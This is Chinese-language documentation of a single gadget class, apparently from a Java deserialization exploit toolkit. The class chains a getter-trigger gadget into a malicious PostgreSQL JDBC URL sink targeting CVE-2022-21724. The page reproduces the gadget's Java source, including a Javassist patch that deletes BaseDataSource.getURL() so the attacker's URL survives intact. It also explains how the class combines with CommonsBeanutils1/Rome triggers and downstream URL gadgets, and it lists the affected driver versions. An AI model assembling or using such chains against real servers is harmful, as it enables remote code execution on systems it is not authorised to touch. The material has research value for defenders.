- 类别:javanative 别名:— 优先级:—
- 作者:—
- 依赖:
org.postgresql:postgresql
把一个恶意 PostgreSQL JDBC URL 装进 org.postgresql.ds.PGSimpleDataSource,当上游 gadget 触发其 getConnection()(一个 getter)时,PostgreSQL 驱动会向该 URL 发起连接,从而进入 PostgreSQL JDBC 利用链(CVE-2022-21724 等)。本类是「getter 触发 → JDBC URL sink」之间的中间跳板。
- 入口
tags:DataSourceChains、Getter—— 既是数据源类跳板,又能承接上一环「调用任意 getter」的 gadget(如 CommonsBeanutils1 或各类EqualsBean/ToStringBean),由上游调用本对象的getConnection。 - 衔接
nextTags:PostgreSQLJdbcUrl—— 之后需接一个产出「PostgreSQL 恶意 JDBC URL 字符串」的 gadget(如PostgreSqlJdbc,标签正是PostgreSQLJdbcUrl)。 excludes:无。
private final String getterMethodName = "getConnection";
private final String getterPropertyName = "connection";
public Object getObject(String jdbcUrl) throws Exception {
try {
CtClass ctClass1 = ClassPool.getDefault().get("org.postgresql.ds.common.BaseDataSource");
CtMethod writeReplace1 = ctClass1.getDeclaredMethod("getURL");
ctClass1.removeMethod(writeReplace1);
ctClass1.toClass();
} catch (Exception ctClass1) {
// empty catch block
}
PGSimpleDataSource dataSource = new PGSimpleDataSource();
dataSource.setURL(jdbcUrl);
return dataSource;
}getObject 先用 Javassist 从 PGSimpleDataSource 的父类 org.postgresql.ds.common.BaseDataSource 中删除 getURL() 方法再 toClass() 重新载入。原因:新版 BaseDataSource.getURL() 会依据 host/port/database 等属性重新拼装 URL,忽略直接 setURL 的原值;删掉 getURL 后,getConnection 内部读取 URL 时回落到用 setURL 存下的原始字段,保证攻击者构造的完整恶意 URL 原样生效。随后 new PGSimpleDataSource() 并 setURL(jdbcUrl),返回这个数据源对象。
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
String jdbcUrl = (String)chain.doCreate(context);
context.put(ContextTag.SUPER_CLASS_NAME_KEY, DataSource.class);
context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getConnection");
context.put(ContextTag.GETTER_PARAM_NAME_KEY, "connection");
return this.getObject(jdbcUrl);
}invoke 先由 chain.doCreate(context) 取得内层对象——即下游 PostgreSQLJdbcUrl gadget 产出的恶意 JDBC URL 字符串。随后向 GadgetContext 注入三条元信息,供上游 getter 触发器读取:
SUPER_CLASS_NAME_KEY = DataSource.class:告诉上游包装对象的目标类型是javax.sql.DataSource。SPECIAL_METHOD_NAME_KEY = "getConnection":上游需要调用的方法名。GETTER_PARAM_NAME_KEY = "connection":对应的属性名,供CommonsBeanutils1这类基于property的比较器(PropertyUtils.getProperty(obj,"connection")→getConnection())反射调用。
因此反序列化触发时,路径为:上游 getter 触发器 → PGSimpleDataSource.getConnection() → PostgreSQL 驱动解析恶意 URL → 进入 JDBC sink。
本类无 @Param。恶意 URL 由下游 PostgreSQLJdbcUrl gadget(如 PostgreSqlJdbc)的参数决定;getterMethodName/getterPropertyName 为写死的私有常量。
- 依赖
org.postgresql:postgresql(PGSimpleDataSource 位于该驱动内)。实际可利用范围由下游 JDBC gadget 决定,如PostgreSqlJdbc声明9.4.1208 <= postgresql < 42.2.25与42.3.0 <= postgresql < 42.3.2(CVE-2022-21724)。 - 关键坑点:必须删除
BaseDataSource.getURL()才能让setURL的完整恶意 URL 不被属性拼装覆盖;该动作依赖 Javassist(javassist.ClassPool)在运行时改写并重载类。 - 触发依赖上游能调用任意 getter(
getConnection),故常与 CB/Rome 等「Getter」触发器组合。
自由构件,未直接出现在预设链(usedInChains 为空)。
- 上游(承接
Getter):CommonsBeanutils1 及各类EqualsBean/ToStringBeangetter 触发器。 - 下游(
nextTags=PostgreSQLJdbcUrl):PostgreSqlJdbc(CVE-2022-21724,产出 spring-bean.xml 加载 URL)、PostgreSqlJdbc4Jndi。 - 同族:
PostgreSqlDataSource(同为 PGSimpleDataSource 跳板)、MysqlDataSource等DataSourceChains系列。